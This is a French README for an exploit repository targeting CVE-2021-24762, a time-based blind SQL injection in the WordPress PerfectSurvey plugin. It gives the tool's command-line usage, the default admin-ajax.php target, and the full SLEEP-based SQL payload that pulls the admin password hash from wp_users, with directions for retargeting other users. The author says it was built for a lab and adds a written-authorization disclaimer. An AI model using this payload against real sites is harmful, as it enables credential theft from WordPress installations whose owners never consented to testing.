
Ce dépôt montre un exploit pour CVE-2021-24762. Il s'agit d'un exploit d'injection SQL aveugle (Blind SQLi) qui, sur la configuration par défaut, grep le mot de passe administrateur.
Ce dépôt montre un exploit pour CVE-2021-24762. Il s'agit d'une injection SQL aveugle qui, dans la configuration par défaut, récupère le mot de passe de l'administrateur.
En réalisant un laboratoire basé sur Wordpress avec le plugin PerfectSurvey, je suis resté bloqué sur une vulnérabilité SQL. Les seuls PoC disponibles étaient basés sur sqlmap et ne fonctionnaient pas correctement dans le laboratoire sur lequel je travaillais (il y avait beaucoup de questions supplémentaires, par exemple l'application retournait une erreur 404, les délais d'attente variaient trop, et d'autres problèmes). J'ai donc créé cet outil pour exploiter le laboratoire.
____ _ ___ ____
/ ___| / \ |_ _| / ___|
| | / _ \ | | \___ \
| |___ / ___ \ | | __ ) |
\____|/_/ \_\ |___| |____/
CAIS - Inteligência em Cibersegurança
Exploit for: CVE-2021-24762
usage: exploit_cve-2021-24762.py [-h] [-u URL] [-p PATH] [-d DELAY] [-t TIMEOUT] [-c CHARSET] [-m MAX_LEN] [-v]
Safe CLI wrapper — receives url/path/delay/timeout/charset and forwards it
options:
-h, --help show this help message and exit
-u, --url URL Base URL (default: http://192.168.10.10)
-p, --path PATH path (default: /wp-admin/admin-ajax.php)
-d, --delay DELAY delay in seconds (default: 30)
-t, --timeout TIMEOUT
timeout in seconds (default: delay + 15)
-c, --charset CHARSET
charset to be used (default: alnum + ./$_-@)
-m, --max-len MAX_LEN
maximum length (default: 20)
-v, --verbose activates log debugging
Le script Python reçoit les paramètres ci-dessus. S'ils ne sont pas fournis, le script s'exécute avec ses valeurs par défaut.
Idéalement, vous devrez fournir au moins l'URL. Faites-le avec -u ou --url. Les autres paramètres fonctionneront probablement avec les valeurs par défaut.
Dans la configuration par défaut, il obtient le hachage du mot de passe de l'utilisateur admin. Cette configuration est appliquée dans la variable payload, dans la valeur de user_login :
payload = f"1 AND (SELECT COUNT(*) FROM (SELECT 1 WHERE ORD(SUBSTRING((SELECT user_pass FROM wp_users WHERE user_login=0x61646d696e),{position},1))={ascii_code} AND SLEEP({delay})) AS a)"
Si vous devez trouver le hachage pour un autre utilisateur, modifiez "0x61646d696e" (admin) selon vos besoins.
payload = f"1 AND (SELECT COUNT(*) FROM (SELECT 1 WHERE ORD(SUBSTRING((SELECT user_pass FROM wp_users WHERE user_login=0x61646d696e),{position},1))={ascii_code} AND SLEEP({delay})) AS a)"Utilisation restreinte — Ce dépôt contient un contenu sensible destiné à un usage éthique et responsable uniquement. N'oubliez pas que vous devez avoir une autorisation écrite du propriétaire du système que vous testez. Toute utilisation hors de ce cadre n'est pas autorisée et sera imputée à votre responsabilité (voulez-vous aller en prison ?).
exploit_cve-2021-24762 — Exploit.README.ME — Ce fichier.2025-10-10 — c4cnm — Creation et modifications initiales
GNU General Public License v3 (GPL)